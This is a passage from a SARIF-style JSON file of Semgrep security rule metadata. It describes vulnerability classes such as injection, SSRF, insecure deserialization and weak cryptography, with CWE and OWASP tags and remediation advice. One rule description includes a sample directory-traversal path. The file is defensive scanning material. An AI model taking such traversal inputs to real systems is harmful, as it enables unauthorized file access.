Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.java-http-concat-taint-sls.java-http-concat-taint-sls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The number of bytes copied from `$STR` does not include the NUL terminator. This can lead to an out-of-bounds read and information disclosure. One extra byte should be added to the length to ensure that the NUL terminator is copied."},"help":{"markdown":"The number of bytes copied from `$STR` does not include the NUL terminator. This can lead to an out-of-bounds read and information disclosure. One extra byte should be added to the length to ensure that the NUL terminator is copied.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.missing-nul-cpp-string-memcpy.missing-nul-cpp-string-memcpy)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator](https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator)\n","text":"The number of bytes copied from `$STR` does not include the NUL terminator. This can lead to an out-of-bounds read and information disclosure. One extra byte should be added to the length to ensure that the NUL terminator is copied."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.missing-nul-cpp-string-memcpy.missing-nul-cpp-string-memcpy","id":"cpp.lang.security.strings.missing-nul-cpp-string-memcpy.missing-nul-cpp-string-memcpy","name":"cpp.lang.security.strings.missing-nul-cpp-string-memcpy.missing-nul-cpp-string-memcpy","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.missing-nul-cpp-string-memcpy.missing-nul-cpp-string-memcpy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user-controlled request data passed into a HttpResponseBadRequest. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed."},"help":{"markdown":"Found user-controlled request data passed into a HttpResponseBadRequest. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.reflected-data-httpresponsebadrequest.reflected-data-httpresponsebadrequest)\n - [https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss](https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss)\n","text":"Found user-controlled request data passed into a HttpResponseBadRequest. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.reflected-data-httpresponsebadrequest.reflected-data-httpresponsebadrequest","id":"python.django.security.injection.reflected-data-httpresponsebadrequest.reflected-data-httpresponsebadrequest","name":"python.django.security.injection.reflected-data-httpresponsebadrequest.reflected-data-httpresponsebadrequest","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.reflected-data-httpresponsebadrequest.reflected-data-httpresponsebadrequest"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected DES cipher algorithm which is insecure. The algorithm is considered weak and has been deprecated. Use AES instead."},"help":{"markdown":"Detected DES cipher algorithm which is insecure. The algorithm is considered weak and has been deprecated. Use AES instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-DES)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected DES cipher algorithm which is insecure. The algorithm is considered weak and has been deprecated. Use AES instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-DES","id":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-DES","name":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-DES","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.use_of_weak_crypto.use-of-DES"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration allows for local networking, which in some iOS versions is blocked by default in ATS. Consider whether or not the application requires this in release builds, or for development reasons only. This follows the principle of least privelege, reducing the attack surface if local networking is not required."},"help":{"markdown":"The application's App Transport Security (ATS) configuration allows for local networking, which in some iOS versions is blocked by default in ATS. Consider whether or not the application requires this in release builds, or for development reasons only. This follows the principle of least privelege, reducing the attack surface if local networking is not required.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-local.ATS-local-networking)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration allows for local networking, which in some iOS versions is blocked by default in ATS. Consider whether or not the application requires this in release builds, or for development reasons only. This follows the principle of least privelege, reducing the attack surface if local networking is not required."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-local.ATS-local-networking","id":"swift.insecure-communication.ats.ats-local.ATS-local-networking","name":"swift.insecure-communication.ats.ats-local.ATS-local-networking","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-local.ATS-local-networking"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.nosql.grpc-mongo-nosqli-taint.grpc-mongo-nosqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/go.grpc.nosql.grpc-mongo-nosqli-taint.grpc-mongo-nosqli-taint","id":"go.grpc.nosql.grpc-mongo-nosqli-taint.grpc-mongo-nosqli-taint","name":"go.grpc.nosql.grpc-mongo-nosqli-taint.grpc-mongo-nosqli-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.nosql.grpc-mongo-nosqli-taint.grpc-mongo-nosqli-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.go-vanillasql-format-string-sqli-taint.go-vanillasql-format-string-sqli-taint)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.net.sql.go-vanillasql-format-string-sqli-taint.go-vanillasql-format-string-sqli-taint","id":"go.net.sql.go-vanillasql-format-string-sqli-taint.go-vanillasql-format-string-sqli-taint","name":"go.net.sql.go-vanillasql-format-string-sqli-taint.go-vanillasql-format-string-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.go-vanillasql-format-string-sqli-taint.go-vanillasql-format-string-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure Kinesis video stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure Kinesis video stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-kinesis-video-stream-encrypted-with-cmk.aws-kinesis-video-stream-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure Kinesis video stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-kinesis-video-stream-encrypted-with-cmk.aws-kinesis-video-stream-encrypted-with-cmk","id":"terraform.aws.security.aws-kinesis-video-stream-encrypted-with-cmk.aws-kinesis-video-stream-encrypted-with-cmk","name":"terraform.aws.security.aws-kinesis-video-stream-encrypted-with-cmk.aws-kinesis-video-stream-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-kinesis-video-stream-encrypted-with-cmk.aws-kinesis-video-stream-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Running `socket.bind` to 0.0.0.0, or empty string could unexpectedly expose the server publicly as it binds to all available interfaces. Consider instead getting correct address from an environment variable or configuration file."},"help":{"markdown":"Running `socket.bind` to 0.0.0.0, or empty string could unexpectedly expose the server publicly as it binds to all available interfaces. Consider instead getting correct address from an environment variable or configuration file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.network.bind.avoid-bind-to-all-interfaces)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Running `socket.bind` to 0.0.0.0, or empty string could unexpectedly expose the server publicly as it binds to all available interfaces. Consider instead getting correct address from an environment variable or configuration file."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.network.bind.avoid-bind-to-all-interfaces","id":"python.lang.security.audit.network.bind.avoid-bind-to-all-interfaces","name":"python.lang.security.audit.network.bind.avoid-bind-to-all-interfaces","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.network.bind.avoid-bind-to-all-interfaces"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"JMS Object messages depend on Java Serialization for marshalling/unmarshalling of the message payload when ObjectMessage.getObject() is called. Deserialization of untrusted data can lead to security flaws; a remote attacker could via a crafted JMS ObjectMessage to execute arbitrary code with the permissions of the application listening/consuming JMS Messages. In this case, the JMS MessageListener consume an ObjectMessage type received inside the onMessage method, which may lead to arbitrary code execution when calling the $Y.getObject method."},"help":{"markdown":"JMS Object messages depend on Java Serialization for marshalling/unmarshalling of the message payload when ObjectMessage.getObject() is called. Deserialization of untrusted data can lead to security flaws; a remote attacker could via a crafted JMS ObjectMessage to execute arbitrary code with the permissions of the application listening/consuming JMS Messages. In this case, the JMS MessageListener consume an ObjectMessage type received inside the onMessage method, which may lead to arbitrary code execution when calling the $Y.getObject method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization)\n - [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities-wp.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities-wp.pdf)\n","text":"JMS Object messages depend on Java Serialization for marshalling/unmarshalling of the message payload when ObjectMessage.getObject() is called. Deserialization of untrusted data can lead to security flaws; a remote attacker could via a crafted JMS ObjectMessage to execute arbitrary code with the permissions of the application listening/consuming JMS Messages. In this case, the JMS MessageListener consume an ObjectMessage type received inside the onMessage method, which may lead to arbitrary code execution when calling the $Y.getObject method."},"helpUri":"https://semgrep.dev/r/java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization","id":"java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization","name":"java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RSA key generation was identified where the key size was less than the industry standard recommendation of 2048 bits minimum. Use a key strength of at least 2048 bit, or stronger where appropriate."},"help":{"markdown":"RSA key generation was identified where the key size was less than the industry standard recommendation of 2048 bits minimum. Use a key strength of at least 2048 bit, or stronger where appropriate.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-rsa-keysize.insecure-crypto-rsa-keysize)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"RSA key generation was identified where the key size was less than the industry standard recommendation of 2048 bits minimum. Use a key strength of at least 2048 bit, or stronger where appropriate."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-rsa-keysize.insecure-crypto-rsa-keysize","id":"swift.commoncrypto.insecure-crypto-rsa-keysize.insecure-crypto-rsa-keysize","name":"swift.commoncrypto.insecure-crypto-rsa-keysize.insecure-crypto-rsa-keysize","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-rsa-keysize.insecure-crypto-rsa-keysize"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Client-side SQL injection was found, which has different impacts depending on the SQL use-case. The impact may include the circumvention of local authentication mechanisms, obtaining of sensitive data from the app, or manipulation of client-side behavior."},"help":{"markdown":"Client-side SQL injection was found, which has different impacts depending on the SQL use-case. The impact may include the circumvention of local authentication mechanisms, obtaining of sensitive data from the app, or manipulation of client-side behavior.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.sql.sqlilite-injection.swift-sqlite-injection)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n","text":"Client-side SQL injection was found, which has different impacts depending on the SQL use-case. The impact may include the circumvention of local authentication mechanisms, obtaining of sensitive data from the app, or manipulation of client-side behavior."},"helpUri":"https://semgrep.dev/r/swift.sql.sqlilite-injection.swift-sqlite-injection","id":"swift.sql.sqlilite-injection.swift-sqlite-injection","name":"swift.sql.sqlilite-injection.swift-sqlite-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: swift.sql.sqlilite-injection.swift-sqlite-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedispool-constructor-hardcoded-secret.jedispool-constructor-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedispool-constructor-hardcoded-secret.jedispool-constructor-hardcoded-secret","id":"java.jedis.secrets.jedispool-constructor-hardcoded-secret.jedispool-constructor-hardcoded-secret","name":"java.jedis.secrets.jedispool-constructor-hardcoded-secret.jedispool-constructor-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedispool-constructor-hardcoded-secret.jedispool-constructor-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.os.tainted-os-command-child-process-express.tainted-os-command-child-process-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/)"},"helpUri":"https://semgrep.dev/r/javascript.express.os.tainted-os-command-child-process-express.tainted-os-command-child-process-express","id":"javascript.express.os.tainted-os-command-child-process-express.tainted-os-command-child-process-express","name":"javascript.express.os.tainted-os-command-child-process-express.tainted-os-command-child-process-express","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.os.tainted-os-command-child-process-express.tainted-os-command-child-process-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [Command injection prevention for JavaScript ](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/)."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [Command injection prevention for JavaScript ](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.express-child-process.express-child-process)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [Command injection prevention for JavaScript ](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/)."},"helpUri":"https://semgrep.dev/r/javascript.express.express-child-process.express-child-process","id":"javascript.express.express-child-process.express-child-process","name":"javascript.express.express-child-process.express-child-process","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.express-child-process.express-child-process"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.tainted-ssrf-spring-add.tainted-ssrf-spring-add)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.spring.security.tainted-ssrf-spring-add.tainted-ssrf-spring-add","id":"java.spring.security.tainted-ssrf-spring-add.tainted-ssrf-spring-add","name":"java.spring.security.tainted-ssrf-spring-add.tainted-ssrf-spring-add","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.tainted-ssrf-spring-add.tainted-ssrf-spring-add"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Key vault Secret should have a content type set"},"help":{"markdown":"Key vault Secret should have a content type set\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-content-type-for-secret.keyvault-content-type-for-secret)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_secret#content_type](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_secret#content_type)\n - [https://docs.microsoft.com/en-us/azure/key-vault/secrets/about-secrets](https://docs.microsoft.com/en-us/azure/key-vault/secrets/about-secrets)\n","text":"Key vault Secret should have a content type set"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-content-type-for-secret.keyvault-content-type-for-secret","id":"terraform.azure.security.keyvault.keyvault-content-type-for-secret.keyvault-content-type-for-secret","name":"terraform.azure.security.keyvault.keyvault-content-type-for-secret.keyvault-content-type-for-secret","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.keyvault.keyvault-content-type-for-secret.keyvault-content-type-for-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User controllable data `$REQ` enters `$RES.render(...)` this can lead to the loading of other HTML/templating pages that they may not be authorized to render. An attacker may attempt to use directory traversal techniques e.g. `../folder/index` to access other HTML pages on the file system. Where possible, do not allow users to define what should be  loaded in $RES.render or use an allow list for the existing application."},"help":{"markdown":"User controllable data `$REQ` enters `$RES.render(...)` this can lead to the loading of other HTML/templating pages that they may not be authorized to render. An attacker may attempt to use directory traversal techniques e.g. `../folder/index` to access other HTML pages on the file system. Where possible, do not allow users to define what should be  loaded in $RES.render or use an allow list for the existing application.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.res-render-injection.res-render-injection)\n - [http://expressjs.com/en/4x/api.html#res.render](http://expressjs.com/en/4x/api.html#res.render)\n","text":"User controllable data `$REQ` enters `$RES.render(...)` this can lead to the loading of other HTML/templating pages that they may not be authorized to render. An attacker may attempt to use directory traversal techniques e.g. `../folder/index` to access other HTML pages on the file system. Where possible, do not allow users to define what should be  loaded in $RES.render or use an allow list for the existing application."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.res-render-injection.res-render-injection","id":"javascript.express.security.audit.res-render-injection.res-render-injection","name":"javascript.express.security.audit.res-render-injection.res-render-injection","properties":{"precision":"very-high","tags":["CWE-706: Use of Incorrectly-Resolved Name or Reference","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.res-render-injection.res-render-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-pickle-django.tainted-pickle-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - 